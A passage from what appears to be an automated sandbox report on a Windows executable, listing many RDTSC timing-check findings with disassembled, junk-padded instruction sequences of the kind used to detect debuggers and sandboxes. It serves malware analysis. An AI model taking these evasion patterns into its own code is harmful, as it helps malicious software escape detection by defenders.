00000018h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 mov dword ptr [ebp+122D3123h], ebx 0x00000067 xchg eax, ebx 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edi 0x0000006c pop edi 0x0000006d pop eax 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691BD7 second address: 691BE1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1F8C74D6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691BE1 second address: 691C59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1F8CBC720Eh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F1F8CBC7208h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007F1F8CBC7208h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000019h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 add esi, dword ptr [ebp+122D287Ch] 0x0000004b push 00000000h 0x0000004d sbb edi, 26FA50C1h 0x00000053 push eax 0x00000054 jns 00007F1F8CBC7214h 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691C59 second address: 691C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6926F7 second address: 6926FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6926FB second address: 69271C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F1F8C74D6F4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69271C second address: 692721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 692721 second address: 6927A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a call 00007F1F8C74D6EAh 0x0000000f call 00007F1F8C74D6F6h 0x00000014 mov esi, dword ptr [ebp+122D32ECh] 0x0000001a pop esi 0x0000001b pop edi 0x0000001c push 00000000h 0x0000001e movsx esi, di 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007F1F8C74D6E8h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 00000017h 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d sub dword ptr [ebp+122D2721h], ebx 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F1F8C74D6F8h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6927A8 second address: 6927AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693263 second address: 69327F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69327F second address: 693302 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F1F8CBC7208h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 xor dword ptr [ebp+122D1FAFh], eax 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D3618h], eax 0x00000033 sub dword ptr [ebp+122D2188h], edx 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007F1F8CBC7208h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 0000001Dh 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 xor di, 55EFh 0x0000005a xchg eax, ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F1F8CBC7216h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693302 second address: 69330C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1F8C74D6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69330C second address: 693311 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693311 second address: 69331D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69401A second address: 694024 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 694024 second address: 694028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695A4A second address: 695A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6543E0 second address: 6543E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6543E4 second address: 654418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7211h 0x00000007 jmp 00007F1F8CBC720Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1F8CBC7213h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6960E4 second address: 6960FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6960FF second address: 696118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F8CBC7215h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A191 second address: 69A196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0660 second address: 6A067A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jnl 00007F1F8CBC720Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A067A second address: 6A067E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B789 second address: 69B793 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1F8CBC7206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B793 second address: 69B799 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B799 second address: 69B79D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C9A6 second address: 69C9AC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B86A second address: 69B86E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C9AC second address: 69C9C7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1F8C74D6ECh 0x00000008 ja 00007F1F8C74D6E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jnp 00007F1F8C74D6F4h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B86E second address: 69B874 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C9C7 second address: 69C9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69B874 second address: 69B889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F8CBC7211h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645367 second address: 64536B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64536B second address: 64536F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E902 second address: 69E906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64536F second address: 645375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E906 second address: 69E914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F1F8C74D6E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645375 second address: 645390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1F8CBC7206h 0x0000000a jmp 00007F1F8CBC7211h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645390 second address: 645396 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3D44 second address: 6A3D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E914 second address: 69E925 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F1F8C74D6E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69EA04 second address: 69EA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A193F second address: 6A1949 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A085F second address: 6A0863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6529A6 second address: 6529C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8109 second address: 6A810F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A810F second address: 6A8115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8115 second address: 6A8120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8120 second address: 6A8124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8124 second address: 6A814D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F1F8CBC7206h 0x00000010 jmp 00007F1F8CBC7219h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A814D second address: 6A8186 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F1F8C74D6E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jmp 00007F1F8C74D6F3h 0x00000015 pop ebx 0x00000016 jmp 00007F1F8C74D6F5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8186 second address: 6A818C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A818C second address: 6A8190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8190 second address: 6A8194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8789 second address: 6A87D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 nop 0x00000007 add edi, dword ptr [ebp+122D34CAh] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F1F8C74D6E8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov dword ptr [ebp+12460698h], eax 0x0000002f push 00000000h 0x00000031 movzx edi, dx 0x00000034 push eax 0x00000035 push esi 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F1F8C74D6EFh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A87D2 second address: 6A87D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646DE7 second address: 646E0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jno 00007F1F8C74D6ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646E0E second address: 646E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6488 second address: 6A648C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAD34 second address: 6AAD3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A648C second address: 6A6495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAD3A second address: 6AAD3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAD3E second address: 6AAD42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8941 second address: 6A894B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1F8CBC7206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAED4 second address: 6AAED9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ACD14 second address: 6ACD1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ACD1D second address: 6ACD71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F1F8C74D6EAh 0x0000000c nop 0x0000000d mov dword ptr [ebp+122DB34Bh], esi 0x00000013 push 00000000h 0x00000015 xor bx, 207Eh 0x0000001a push 00000000h 0x0000001c adc ebx, 14DA4107h 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push esi 0x00000025 jmp 00007F1F8C74D6F9h 0x0000002a pop esi 0x0000002b pop eax 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jns 00007F1F8C74D6ECh 0x00000035 jns 00007F1F8C74D6E6h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEDF1 second address: 6AEDFE instructions: 0x00000000 rdtsc 0x00000002 js 00007F1F8CBC7206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF019 second address: 6AF029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F8C74D6ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF029 second address: 6AF040 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1F8CBC7206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F1F8CBC7208h 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF040 second address: 6AF0EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, 6A6FA3F2h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 call 00007F1F8C74D6EBh 0x0000001b mov ebx, dword ptr [ebp+122D2AF0h] 0x00000021 pop edi 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 jmp 00007F1F8C74D6EEh 0x0000002e mov eax, dword ptr [ebp+122D149Dh] 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F1F8C74D6E8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e mov di, 5A4Eh 0x00000052 push FFFFFFFFh 0x00000054 nop 0x00000055 ja 00007F1F8C74D6FEh 0x0000005b push eax 0x0000005c pushad 0x0000005d pushad 0x0000005e pushad 0x0000005f popad 0x00000060 pushad 0x00000061 popad 0x00000062 popad 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AF0EC second address: 6AF0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B703E second address: 6B706C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1F8C74D6F5h 0x0000000c jmp 00007F1F8C74D6F0h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B706C second address: 6B707A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F1F8CBC7220h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B68FA second address: 6B68FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B68FE second address: 6B693E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1F8CBC7213h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F1F8CBC720Ah 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F1F8CBC7216h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6C39 second address: 6B6C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6C3D second address: 6B6C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1F8CBC7218h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAFFC second address: 6BB000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB132 second address: 6BB144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F8CBC720Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB219 second address: 6BB223 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1F8C74D6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB223 second address: 6BB240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F8CBC7219h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB240 second address: 6BB244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB244 second address: 6BB257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F1F8CBC7208h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB257 second address: 6BB261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F1F8C74D6E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB261 second address: 6BB286 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7211h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnc 00007F1F8CBC7210h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB34B second address: 6BB351 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB351 second address: 6BB356 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB356 second address: 6BB35C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
